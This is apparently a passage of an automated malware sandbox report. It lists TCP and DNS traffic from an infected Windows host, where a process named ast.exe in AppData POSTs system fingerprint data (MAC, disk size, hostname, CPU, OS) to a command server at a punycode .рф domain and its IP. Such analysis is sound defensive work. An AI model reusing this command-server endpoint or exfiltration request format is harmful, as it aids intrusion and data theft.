Nov 19, 2024 19:15:53.166492939 CET	443	50111	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:53.166539907 CET	50111	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:53.166605949 CET	443	50111	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:53.166629076 CET	443	50111	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:53.166670084 CET	50111	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:53.166690111 CET	50111	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:53.252780914 CET	50114	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:53.252818108 CET	443	50114	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:53.252924919 CET	50114	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:53.253505945 CET	50114	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:53.253515959 CET	443	50114	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.051851988 CET	443	50114	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.051963091 CET	50114	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.053200960 CET	50114	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.053209066 CET	443	50114	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.053992987 CET	443	50114	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.054805994 CET	50114	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.055061102 CET	50114	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.055131912 CET	443	50114	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.055260897 CET	443	50114	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.055329084 CET	50114	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.055344105 CET	50114	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.127002954 CET	50117	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.127048016 CET	443	50117	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.127276897 CET	50117	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.127861977 CET	50117	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.127887964 CET	443	50117	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.849766016 CET	443	50117	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.849946976 CET	50117	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.851140976 CET	50117	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.851146936 CET	443	50117	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.851398945 CET	443	50117	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.852246046 CET	50117	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.852768898 CET	50117	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.852798939 CET	443	50117	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.852835894 CET	50117	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.852900982 CET	443	50117	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.852930069 CET	443	50117	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.853010893 CET	50117	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.853024006 CET	50117	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.860214949 CET	50120	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.860260963 CET	443	50120	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:54.860403061 CET	50120	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.860810995 CET	50120	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:54.860824108 CET	443	50120	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:55.662620068 CET	443	50120	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:55.662698984 CET	50120	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:55.665652990 CET	50120	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:55.665658951 CET	443	50120	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:55.666318893 CET	443	50120	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:55.666871071 CET	50120	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:55.667260885 CET	50120	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:55.667288065 CET	443	50120	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:55.667397022 CET	443	50120	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:55.667423010 CET	443	50120	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:55.667506933 CET	50120	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:55.751339912 CET	50120	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:55.761217117 CET	50123	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:55.761315107 CET	443	50123	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:55.761394024 CET	50123	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:55.761806965 CET	50123	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:55.761842012 CET	443	50123	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:56.556822062 CET	443	50123	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:56.556907892 CET	50123	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:56.558048964 CET	50123	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:56.558062077 CET	443	50123	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:56.558449030 CET	443	50123	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:56.559092045 CET	50123	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:56.559348106 CET	50123	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:56.559386015 CET	443	50123	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:56.559479952 CET	443	50123	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:56.559497118 CET	50123	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:56.559505939 CET	443	50123	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:56.559515953 CET	443	50123	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:56.559535027 CET	50123	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:56.559590101 CET	50123	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:56.559665918 CET	50123	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:56.595433950 CET	50126	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:56.595515013 CET	443	50126	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:56.595797062 CET	50126	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:56.596304893 CET	50126	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:56.596339941 CET	443	50126	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:57.392353058 CET	443	50126	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:57.392524958 CET	50126	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:57.394120932 CET	50126	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:57.394143105 CET	443	50126	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:57.394404888 CET	443	50126	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:57.395426989 CET	50126	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:57.395827055 CET	50126	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:57.395870924 CET	443	50126	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:57.395977020 CET	443	50126	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:57.396002054 CET	443	50126	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:57.396018982 CET	50126	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:57.396047115 CET	443	50126	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:57.396074057 CET	50126	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:57.396123886 CET	50126	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:57.396123886 CET	50126	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:57.467752934 CET	50129	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:57.467809916 CET	443	50129	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:57.467895031 CET	50129	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:57.468364000 CET	50129	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:57.468378067 CET	443	50129	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:58.194788933 CET	443	50129	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:58.194880962 CET	50129	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:58.196085930 CET	50129	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:58.196099997 CET	443	50129	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:58.196501017 CET	443	50129	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:58.197036028 CET	50129	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:58.198179960 CET	50129	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:58.198214054 CET	443	50129	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:58.198307991 CET	443	50129	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:58.198335886 CET	443	50129	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:58.198369980 CET	50129	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:58.198410034 CET	50129	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:58.209820986 CET	50132	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:58.209908962 CET	443	50132	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:58.209990978 CET	50132	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:58.210592985 CET	50132	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:58.210628033 CET	443	50132	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.011835098 CET	443	50132	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.011914015 CET	50132	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.013195038 CET	50132	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.013221025 CET	443	50132	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.013472080 CET	443	50132	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.014075994 CET	50132	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.014291048 CET	50132	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.014317989 CET	443	50132	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.014364004 CET	50132	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.014426947 CET	443	50132	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.014457941 CET	443	50132	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.014492035 CET	50132	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.014530897 CET	50132	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.021806955 CET	50135	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.021888971 CET	443	50135	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.022135973 CET	50135	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.022485971 CET	50135	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.022516012 CET	443	50135	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.839953899 CET	443	50135	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.840055943 CET	50135	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.841252089 CET	50135	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.841291904 CET	443	50135	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.841530085 CET	443	50135	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.842484951 CET	50135	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.842545986 CET	50135	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.842597961 CET	443	50135	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.842624903 CET	443	50135	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.842653036 CET	50135	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.842689991 CET	50135	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.848834038 CET	50138	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.853688002 CET	44335	50138	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:59.853826046 CET	50138	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.854239941 CET	50138	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:59.858983040 CET	44335	50138	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:00.576555014 CET	44335	50138	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:00.576632023 CET	44335	50138	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:00.576651096 CET	44335	50138	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:00.576716900 CET	50138	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:00.577039957 CET	44335	50138	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:00.577097893 CET	50138	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:00.668596983 CET	44335	50138	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:00.671263933 CET	50138	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:00.678050041 CET	44335	50138	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:00.894731045 CET	44335	50138	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:00.895817041 CET	50138	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:00.896452904 CET	50138	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:00.896496058 CET	50138	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:00.900686026 CET	44335	50138	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:00.901241064 CET	44335	50138	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:00.901523113 CET	44335	50138	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:00.901587009 CET	50138	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:00.978281021 CET	50141	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:00.978323936 CET	443	50141	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:00.978388071 CET	50141	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:00.978811026 CET	50141	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:00.978832960 CET	443	50141	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:01.793757915 CET	443	50141	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:01.793843031 CET	50141	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:01.828905106 CET	50141	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:01.828928947 CET	443	50141	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:01.829219103 CET	443	50141	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:01.837208033 CET	50141	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:01.868566990 CET	50141	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:01.868587017 CET	443	50141	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:01.868755102 CET	50141	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:01.868793011 CET	443	50141	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:01.868832111 CET	443	50141	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:01.868896008 CET	50141	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:01.868896008 CET	50141	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.191574097 CET	50144	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.191678047 CET	443	50144	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:02.191778898 CET	50144	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.192209005 CET	50144	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.192240000 CET	443	50144	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:02.984566927 CET	443	50144	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:02.984658003 CET	50144	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.986090899 CET	50144	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.986113071 CET	443	50144	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:02.986398935 CET	443	50144	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:02.987102985 CET	50144	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.987549067 CET	50144	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.987582922 CET	443	50144	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:02.987675905 CET	50144	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.987710953 CET	443	50144	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:02.987742901 CET	443	50144	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:02.987804890 CET	50144	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.987804890 CET	50144	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.995235920 CET	50147	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.995349884 CET	443	50147	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:02.995439053 CET	50147	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.995906115 CET	50147	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:02.995937109 CET	443	50147	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:03.801446915 CET	443	50147	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:03.801527977 CET	50147	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:03.802763939 CET	50147	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:03.802778959 CET	443	50147	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:03.802999973 CET	443	50147	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:03.803626060 CET	50147	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:03.804183960 CET	50147	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:03.804199934 CET	443	50147	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:03.804256916 CET	50147	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:03.804296970 CET	443	50147	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:03.804325104 CET	443	50147	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:03.804344893 CET	50147	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:03.804371119 CET	50147	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:04.189975023 CET	50150	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:04.190013885 CET	443	50150	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:04.190164089 CET	50150	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:04.190994024 CET	50150	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:04.191009998 CET	443	50150	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:04.991271019 CET	443	50150	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:04.991358042 CET	50150	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:05.106161118 CET	50150	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:05.106231928 CET	443	50150	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:05.106704950 CET	443	50150	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:05.110349894 CET	50150	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:05.112433910 CET	50150	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:05.112499952 CET	50150	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:05.112519979 CET	443	50150	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:05.112802029 CET	443	50150	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:05.112886906 CET	443	50150	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:05.112941980 CET	50150	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:05.112982988 CET	50150	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:05.303172112 CET	50153	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:05.303216934 CET	443	50153	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:05.303282976 CET	50153	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:05.303765059 CET	50153	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:05.303776979 CET	443	50153	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.141570091 CET	443	50153	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.141634941 CET	50153	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.142920971 CET	50153	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.142937899 CET	443	50153	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.143183947 CET	443	50153	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.143774033 CET	50153	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.144165993 CET	50153	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.144192934 CET	443	50153	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.144292116 CET	443	50153	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.144325972 CET	50153	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.144331932 CET	443	50153	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.144340992 CET	443	50153	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.144361973 CET	50153	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.144390106 CET	50153	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.144447088 CET	50153	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.151640892 CET	50156	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.151684999 CET	443	50156	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.151833057 CET	50156	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.152198076 CET	50156	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.152215004 CET	443	50156	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.969777107 CET	443	50156	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.969899893 CET	50156	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.971431971 CET	50156	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.971443892 CET	443	50156	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.971781015 CET	443	50156	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.976186037 CET	50156	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.976457119 CET	50156	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.976488113 CET	443	50156	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.976538897 CET	50156	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.976612091 CET	443	50156	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.976650000 CET	443	50156	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:06.976708889 CET	50156	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.976708889 CET	50156	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:06.999991894 CET	50159	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:07.000046015 CET	443	50159	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:07.000370026 CET	50159	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:07.000741959 CET	50159	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:07.000766039 CET	443	50159	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:07.808129072 CET	443	50159	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:07.808224916 CET	50159	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:11.126287937 CET	50159	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:11.126315117 CET	443	50159	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:11.127367973 CET	443	50159	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:11.128029108 CET	50159	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:11.128479004 CET	50159	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:11.128479004 CET	50159	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:11.128532887 CET	443	50159	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:11.128838062 CET	443	50159	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:11.128920078 CET	443	50159	212.193.169.65	192.168.2.5
Nov 19, 2024 19:16:11.129019976 CET	50159	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:16:11.129019976 CET	50159	443	192.168.2.5	212.193.169.65

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 19:15:12.194583893 CET	60183	53	192.168.2.5	1.1.1.1
Nov 19, 2024 19:15:13.042112112 CET	53	60183	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 19, 2024 19:15:12.194583893 CET	192.168.2.5	1.1.1.1	0x8c62	Standard query (0)	id.xn--80akicokc0aablc.xn--p1ai	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 19, 2024 19:15:13.042112112 CET	1.1.1.1	192.168.2.5	0x8c62	No error (0)	id.xn--80akicokc0aablc.xn--p1ai		212.193.169.65	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

id.xn--80akicokc0aablc.xn--p1ai:443

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49982	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:14 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:14 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49985	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:15 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
